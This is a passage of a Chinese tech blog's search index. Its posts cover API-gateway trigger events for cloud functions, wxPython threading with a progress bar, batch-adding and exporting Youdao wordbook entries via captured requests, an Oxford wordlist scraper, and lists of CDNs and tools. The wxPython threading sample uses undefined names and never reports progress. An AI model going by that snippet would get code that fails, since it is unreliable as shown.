class="hljs-attr">"foo"</span>: <span class="hljs-string">"bar"</span><br> &#125;,<br> <span class="hljs-attr">"headerParameters"</span>:&#123;<br>   <span class="hljs-attr">"Refer"</span>: <span class="hljs-string">"10.0.2.14"</span><br> &#125;,<br> <span class="hljs-attr">"stageVariables"</span>: &#123;<br>   <span class="hljs-attr">"stage"</span>: <span class="hljs-string">"release"</span><br> &#125;,<br> <span class="hljs-attr">"path"</span>: <span class="hljs-string">"/test/value"</span>,<br> <span class="hljs-attr">"queryString"</span>: &#123;<br>   <span class="hljs-attr">"foo"</span> : <span class="hljs-string">"bar"</span>,<br>   <span class="hljs-attr">"bob"</span> : <span class="hljs-string">"alice"</span><br> &#125;,<br> <span class="hljs-attr">"httpMethod"</span>: <span class="hljs-string">"POST"</span><br>&#125;<br></code></pre></td></tr></table></figure>

<p>数据结构内容详细说明如下：</p>
<table>
<thead>
<tr>
<th align="left">结构名</th>
<th align="left">内容</th>
</tr>
</thead>
<tbody><tr>
<td align="left">requestContext</td>
<td align="left">请求来源的 API 网关的配置信息、请求标识、认证信息、来源信息。其中：serviceId，path，httpMethod 指向 API 网关的服务 ID、API 的路径和方法。stage 指向请求来源 API 所在的环境。requestId 标识当前这次请求的唯一 ID。identity 标识用户的认证方法和认证的信息。sourceIp 标识请求来源 IP。</td>
</tr>
<tr>
<td align="left">path</td>
<td align="left">记录实际请求的完整 Path 信息。</td>
</tr>
<tr>
<td align="left">httpMethod</td>
<td align="left">记录实际请求的 HTTP 方法。</td>
</tr>
<tr>
<td align="left">queryString</td>
<td align="left">记录实际请求的完整 Query 内容。</td>
</tr>
<tr>
<td align="left">body</td>
<td align="left">记录实际请求转换为 String 字符串后的内容。</td>
</tr>
<tr>
<td align="left">headers</td>
<td align="left">记录实际请求的完整 Header 内容。</td>
</tr>
<tr>
<td align="left">pathParameters</td>
<td align="left">记录在 API 网关中配置过的 Path 参数以及实际取值。</td>
</tr>
<tr>
<td align="left">queryStringParameters</td>
<td align="left">记录在 API 网关中配置过的 Query 参数以及实际取值。</td>
</tr>
<tr>
<td align="left">headerParameters</td>
<td align="left">记录在 API 网关中配置过的 Header 参数以及实际取值。</td>
</tr>
</tbody></table>
<p>这个如果仅仅看json的话可能不太好了解，比如我构建了一个GET请求的api网关触发器，在url中传递参数给函数，url?param=2021  ,如果需要在函数中拿到2021这个参数。需要解析event。</p>
<p><img src="https://images.yrzdm.com/imgs/20210310/l4jlcw13qUjC.png?imageslim" alt="云函数示例"></p>
<p>当请求网关接口时候，这样就会将 ‘2021’ 返回。</p>
<h4 id="跨域请求"><a href="#跨域请求" class="headerlink" title="跨域请求"></a>跨域请求</h4><p>如果发现请求时候，在network面板中看到 Missing allow cros header，说明网关的跨域请求是关闭的。</p>
<p>需要到触发器中找到api网关，开启跨域请求。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>WxPython多线程使用</title>
    <url>/2021/05/18/wxpython/</url>
    <content><![CDATA[<p>最近接触wxpython，有个后台程序绑定按钮事件，发现如果后台程序是循环或者多线程，在触发按钮事件后，会导致GUI界面卡死。</p>
<p>了解到<code>wx.CallAfter</code>和<code>PubSub</code> 的使用，<code>CallAfter</code>负责将线程执行结果推送给主程序，<code>PubSub</code>实现应用程序与其他线程的通信,使用一个简单地进度条的实现来记录一下</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> time<br><span class="hljs-keyword">import</span> wx<br><span class="hljs-keyword">from</span> threading <span class="hljs-keyword">import</span> Thread<br><span class="hljs-keyword">from</span> wx.lib.pubsub <span class="hljs-keyword">import</span> pub<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">TestThread</span><span class="hljs-params">(Thread)</span>:</span><br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">(self,diefu,old_data,pinlv)</span>:</span><br>        <span class="hljs-comment">#线程实例化时立即启动</span><br>        self.diefu = diefu<br>        self.old_data = old_data<br>        self.pinlv = pinlv<br>        Thread.__init__(self)<br>        self.start()<br>    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">(self)</span>:</span><br>      <span class="hljs-comment">#线程执行的代码</span><br>        <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:<br>            sleep = int(self.pinlv)*<span class="hljs-number">60</span><br>            time.sleep(sleep)<br>            now_time = datetime.datetime.now()<br>            utc_t = now_time.astimezone(tz=utc)<br>            utc_time = utc_t.replace(tzinfo=<span class="hljs-literal">None</span>)<br>            print(utc_time)<br>            <span class="hljs-keyword">if</span> utc_time &gt; self.time_end():<br>                <span class="hljs-keyword">break</span><br>            <span class="hljs-keyword">else</span>:<br>                tmp = self.do_check_update(diefu,old_data)<br>                old_data = tmp<br>                self.update_json(old_data)<br>            wx.CallAfter(pub.sendMessage, <span class="hljs-string">"update"</span>, msg=i)<br>            time.sleep(<span class="hljs-number">0.5</span>)<br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyForm</span> <span class="hljs-params">( wx.Frame )</span>:</span><br>  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span><span class="hljs-params">( self, parent )</span>:</span><br>    wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = <span class="hljs-string">"www.OmegaXYZ.com"</span>, pos = wx.DefaultPosition, size = wx.Size( <span class="hljs-number">-1</span>,<span class="hljs-number">-1</span> ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )<br>    self.SetSizeHints( wx.DefaultSize, wx.DefaultSize )<br>    gSizer2 = wx.GridSizer( <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> )<br>    self.m_button2 = wx.Button( self, wx.ID_ANY, <span class="hljs-string">"执行线程"</span>, wx.DefaultPosition, wx.DefaultSize, <span class="hljs-number">0</span> )<br>    gSizer2.Add( self.m_button2, <span class="hljs-number">0</span>, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL, <span class="hljs-number">5</span> )<br>    self.m_staticText2 = wx.StaticText( self, wx.ID_ANY, <span class="hljs-string">"MyLabel"</span>, wx.DefaultPosition, wx.DefaultSize, <span class="hljs-number">0</span> )<br>    self.m_staticText2.Wrap( <span class="hljs-number">-1</span> )<br>    gSizer2.Add( self.m_staticText2, <span class="hljs-number">0</span>, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL, <span class="hljs-number">5</span> )<br>    self.m_gauge1 = wx.Gauge( self, wx.ID_ANY, <span class="hljs-number">100</span>, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL )<br>    self.m_gauge1.SetValue( <span class="hljs-number">0</span> )<br>    gSizer2.Add( self.m_gauge1, <span class="hljs-number">0</span>, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL, <span class="hljs-number">5</span> )<br>    self.SetSizer( gSizer2 )<br>    self.Layout()<br>    gSizer2.Fit( self )<br>    self.Centre( wx.BOTH )<br>    self.m_button2.Bind( wx.EVT_BUTTON, self.onButton )<br><br>    pub.subscribe(self.updateDisplay, <span class="hljs-string">"update"</span>)<br>  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">updateDisplay</span><span class="hljs-params">(self, msg)</span>:</span><br>    t = msg<br>    <span class="hljs-keyword">if</span> isinstance(t, int):<span class="hljs-comment">#如果是数字，说明线程正在执行，显示数字</span><br>      self.m_staticText2.SetLabel(<span class="hljs-string">"%s%%"</span> % t)<br>      self.m_gauge1.SetValue( t )<br>    <span class="hljs-keyword">else</span>:<span class="hljs-comment">#否则线程未执行，将按钮重新开启</span><br>      self.m_staticText2.SetLabel(<span class="hljs-string">"%s"</span> % t)<br>      self.m_button2.Enable()<br>  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">onButton</span><span class="hljs-params">( self, event )</span>:</span><br>    TestThread(<span class="hljs-string">'1'</span>,<span class="hljs-string">'2'</span>,<span class="hljs-string">'3'</span>)<br>    self.m_staticText2.SetLabel(<span class="hljs-string">"线程开始"</span>)<br>    event.GetEventObject().Disable()<br><br><br><span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:<br>  app = wx.App()<br>  MyForm(<span class="hljs-literal">None</span>).Show()<br>  app.MainLoop()<br></code></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>有道生词本的批量处理</title>
    <url>/2020/08/27/youdao-dict/</url>
    <content><![CDATA[<p><img src="https://images.yrzdm.com/imgs/20200827/uquWtp2lQrj6.png?imageslim" alt="mark"></p>
<p>近期有个需求是需要将自己的生词和“The Oxford 5000”批量导入有道词典的生词本。</p>
<a id="more"></a>
<h2 id="批量添加生词"><a href="#批量添加生词" class="headerlink" title="批量添加生词"></a>批量添加生词</h2><blockquote>
<p>通过构造xml的方式来直接导入生词本，但是通过这种方式添加到生词本之后，单独查看生词本是没有发音和翻译的。我<strong>需要发音和翻译</strong>，以此用于打印和反复记忆。</p>
</blockquote>
<p>通过web端的添加生词，进行抓包，使用请求来批量添加生词,需要传入格林威治标准时间。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_gmt_time</span><span class="hljs-params">()</span>:</span><br>    GMT_FORMAT = <span class="hljs-string">'%a %b %d %Y %H:%M:%S GMT'</span><br>    a =  str(datetime.datetime.now().strftime(GMT_FORMAT)) + <span class="hljs-string">"0800 (中国标准时间)"</span><br>    <span class="hljs-keyword">return</span> a<br><br><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_word</span><span class="hljs-params">(word)</span>:</span><br>    gmt = get_gmt_time()<br>    url = <span class="hljs-string">"http://dict.youdao.com/wordbook/ajax?action=addword&amp;q="</span>+ str(word) +<span class="hljs-string">"&amp;date="</span> +str(gmt)+ <span class="hljs-string">"&amp;le=eng"</span><br>    headers = &#123;<br>        <span class="hljs-string">'Accept'</span>: <span class="hljs-string">'*/*'</span>,<br>        <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36'</span>,<br>        <span class="hljs-string">'X-Requested-With'</span>: <span class="hljs-string">'XMLHttpRequest'</span>,<br>        <span class="hljs-string">'Cookie'</span>: YOUR COOKIE HERE<br>    &#125;<br>    response = requests.get(url, headers=headers)<br>    print(response.text)<br></code></pre></td></tr></table></figure>

<p>到这里已经可以批量添加生词了。</p>
<h2 id="批量导出生词"><a href="#批量导出生词" class="headerlink" title="批量导出生词"></a>批量导出生词</h2><p>如果需要将生词到处并进行打印，使用有道词典pc客户端导出生词的话，每次只能导出200个单词，无论你的分组里面有多少单词。</p>
<p>通过web端的<a class="link"   href="http://youdao.com/wordbook/wordlist?keyfrom=smallpic#/"  target="_blank" rel="noopener">有道单词本<i class="fas fa-external-link-alt"></i></a>可以看到所有的生词，通过开发者模式开到有个接口是来限制每页显示生词数量的。</p>
<p><code>http://youdao.com/wordbook/webapi/words?limit=15&amp;offset=0</code></p>
<p>直接修改<code>limit</code>的数量，接口返回的json数据便是我们想要的内容，数据是包含发音和翻译的。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><code class="hljs &#123;">&#123;<br>    &quot;code&quot;: 0,<br>    &quot;msg&quot;: &quot;SUCCESS&quot;,<br>    &quot;data&quot;: &#123;<br>        &quot;total&quot;: 4963,<br>        &quot;itemList&quot;: [<br>            &#123;<br>                &quot;itemId&quot;: &quot;1c82fc32a3923d2a1f77b0dae96f48f7&quot;,<br>                &quot;bookId&quot;: &quot;5ea3ec6b6c7f497d91796063366efeb0&quot;,<br>                &quot;bookName&quot;: &quot;oxford5000&quot;,<br>                &quot;word&quot;: &quot;AIDS&quot;,<br>                &quot;trans&quot;: &quot;abbr. 获得性免疫缺乏综合征；艾滋病（Acquired Immune Deficiency Syndrome）&quot;,<br>                &quot;phonetic&quot;: &quot;eɪdz&quot;,<br>                &quot;modifiedTime&quot;: 1598351070000<br>            &#125;....<br></code></pre></td></tr></table></figure>

<p>直接对数据进行解析处理即可。</p>
<p>如果要进行打印，考虑到字体和分栏等问题，word调整了好久都无法达到满意效果，因为翻译的长度不是统一的，可以使用jinja2写个html简单渲染一下。或者放到excel中进行简单调整，即可达到我们想要的效果。</p>
<p><img src="https://images.yrzdm.com/imgs/20200827/0x08ichdhdQj.png?imageslim" alt="oxford"></p>
<h4 id="附"><a href="#附" class="headerlink" title="附"></a>附</h4><p>The Oxford 3000/5000 的单词爬取脚本</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_word</span><span class="hljs-params">()</span>:</span><br>    headers = &#123;<br>        <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36'</span><br>    &#125;<br>    url = <span class="hljs-string">'https://www.oxfordlearnersdictionaries.com/wordlists/oxford3000-5000'</span><br>    req  = requests.get(url,headers=headers)<br>    html = req.text<br>    soup = BeautifulSoup(html,<span class="hljs-string">'lxml'</span>)<br>    ul = soup.find(<span class="hljs-string">'ul'</span>,class_=<span class="hljs-string">"top-g"</span>)<br>    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> ul:<br>        <span class="hljs-keyword">try</span>:<br>            word = x.select(<span class="hljs-string">'li &gt; a'</span>)<br>        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:<br>            <span class="hljs-keyword">pass</span><br>        <span class="hljs-keyword">else</span>:<br>            <span class="hljs-keyword">if</span> word:<br>                result.append(word[<span class="hljs-number">0</span>].text)<br>    result.sort()<br>    res = set(result)<br>    <span class="hljs-keyword">return</span> res<br></code></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python,word</tag>
      </tags>
  </entry>
  <entry>
    <title>Static Js Cdn</title>
    <url>/2018/09/03/static-js-cdn/</url>
    <content><![CDATA[<h3 id="前段项目日常经常会用到js框架，收集了目前国内主流的cdn服务商提供的静态JS"><a href="#前段项目日常经常会用到js框架，收集了目前国内主流的cdn服务商提供的静态JS" class="headerlink" title="前段项目日常经常会用到js框架，收集了目前国内主流的cdn服务商提供的静态JS"></a>前段项目日常经常会用到js框架，收集了目前国内主流的cdn服务商提供的静态JS</h3><ol>
<li><strong>StaticFile</strong></br><br>staticfile是一个优秀的开源库并提供CDN服务除了静态的js文件外，staticfile还提供CSS 、图片、和swf等静态文件的CDN服务。</br><blockquote>
<p>React vue Angular jquery都比较好用。支持http和https两种链接形式。</br></p>
</blockquote>
</li>
</ol>
<p><a class="link"   href="http://www.staticfile.org/"  target="_blank" rel="noopener">StaticFile<i class="fas fa-external-link-alt"></i></a></br></p>
<ol start="2">
<li><p><strong>SAE Public Resource</strong></br><br>渣浪的云服务提供的CDN，界面也比较渣，支持的框架比较少，好在是大牌。</br><br><a class="link"   href="http://lib.sinaapp.com/"  target="_blank" rel="noopener">SAE CDN<i class="fas fa-external-link-alt"></i></a></br></p>
</br>
</li>
<li><p><strong>CDNJS</strong></br><br>看名字就知道这个网站是干嘛的。专业的静态js框架cdn服务提供商，提供的JS比较全。</br><br><a class="link"   href="https://cdn.cdnjs.net/"  target="_blank" rel="noopener">CDNJS<i class="fas fa-external-link-alt"></i></a></br></p>
</br>
</li>
<li><p><strong>jsDelivr</strong></br><br>国外的一家提供前段公共库的网站，只有https服务，界面比较友好。</br><br><a class="link"   href="https://www.jsdelivr.com/"  target="_blank" rel="noopener">jsDeliver<i class="fas fa-external-link-alt"></i></a></br></p>
</br>
</li>
<li><p><strong>Upyun和Segmentfault</strong></br><br>又拍云和SegementFault提供的CDN服务。</br><br><a class="link"   href="http://jscdn.upai.com/"  target="_blank" rel="noopener">upai<i class="fas fa-external-link-alt"></i></a></br></p>
</li>
</ol>
]]></content>
      <categories>
        <category>docs</category>
        <category>javascript</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>javascript,study,collect</tag>
      </tags>
  </entry>
  <entry>
    <title>利器收集</title>
    <url>/2020/02/11/tool-colloections/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200211/SomvGyOBuRLo.png" alt="mark"><br>收集了经常用到的工具，为了年纪大了不太好的记忆。</p>
<a id="more"></a>
<h3 id="web工具"><a href="#web工具" class="headerlink" title="web工具"></a>web工具</h3><ol>
<li>typora<br><img src="http://imgs.yrzdm.com/imgs/20200211/PuAjqMvUv3Ry.png" alt="mark"><br><a class="link"   href="http://www.typora.io"  target="_blank" rel="noopener">Typora<i class="fas fa-external-link-alt"></i></a></li>
<li>markdown转换为html,pdf<br><a class="link"   href="http://md.aclickall.com"  target="_blank" rel="noopener">Md2All<i class="fas fa-external-link-alt"></i></a></li>
<li>将代码片段生成图片<br><a class="link"   href="http://codezen.rishimohan.me/"  target="_blank" rel="noopener">codezen<i class="fas fa-external-link-alt"></i></a><br><a class="link"   href="https://carbon.now.sh/"  target="_blank" rel="noopener">carbon<i class="fas fa-external-link-alt"></i></a></li>
<li>变量命名<br>类名函数名变量名不知道如何起名才好，可以用这个工具。<br><a class="link"   href="https://unbug.github.io/codelf/#%E5%B8%85%E4%B8%99"  target="_blank" rel="noopener">unbug<i class="fas fa-external-link-alt"></i></a></li>
<li>Screenzy beautify your screenshots!<br><a class="link"   href="https://screenzy.io/"  target="_blank" rel="noopener">screenzy<i class="fas fa-external-link-alt"></i></a></li>
<li>emojicp<br>快速复制emoji<br><a class="link"   href="https://emojicp.com/"  target="_blank" rel="noopener">emojicp<i class="fas fa-external-link-alt"></i></a></li>
<li>mdnice<br>在线markdown排版 <a class="link"   href="https://mdnice.com/"  target="_blank" rel="noopener">mdnice<i class="fas fa-external-link-alt"></i></a>  </li>
<li>markdown转换<br><a class="link"   href="https://tableconvert.com/"  target="_blank" rel="noopener">tableconvert<i class="fas fa-external-link-alt"></i></a>  </li>
</ol>
<h3 id="pc工具"><a href="#pc工具" class="headerlink" title="pc工具"></a>pc工具</h3><ol>
<li>Rufus<br>制作系统盘支持win linux<br><a class="link"   href="https://github.com/pbatard/rufus"  target="_blank" rel="noopener">Rufus<i class="fas fa-external-link-alt"></i></a></li>
<li>uTools<br>快捷启动和搜索 类似 wox<br><a class="link"   href="http://u.tools"  target="_blank" rel="noopener">uTools<i class="fas fa-external-link-alt"></i></a></li>
</ol>
<h3 id="Android"><a href="#Android" class="headerlink" title="Android"></a>Android</h3><ol>
<li>Android VivaCut<br>安卓视频剪辑<br><a href="-">Android VivaCut</a></li>
<li>TaiChi<br>免Root Xpose框架<br><a class="link"   href="http://taichi.tool"  target="_blank" rel="noopener">TaiChi<i class="fas fa-external-link-alt"></i></a><br>🍦</li>
</ol>
<p>to be continue</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>index</category>
        <category>Tools</category>
      </categories>
      <tags>
        <tag>Python</tag>
        <tag>Tools</tag>
      </tags>
  </entry>
</search>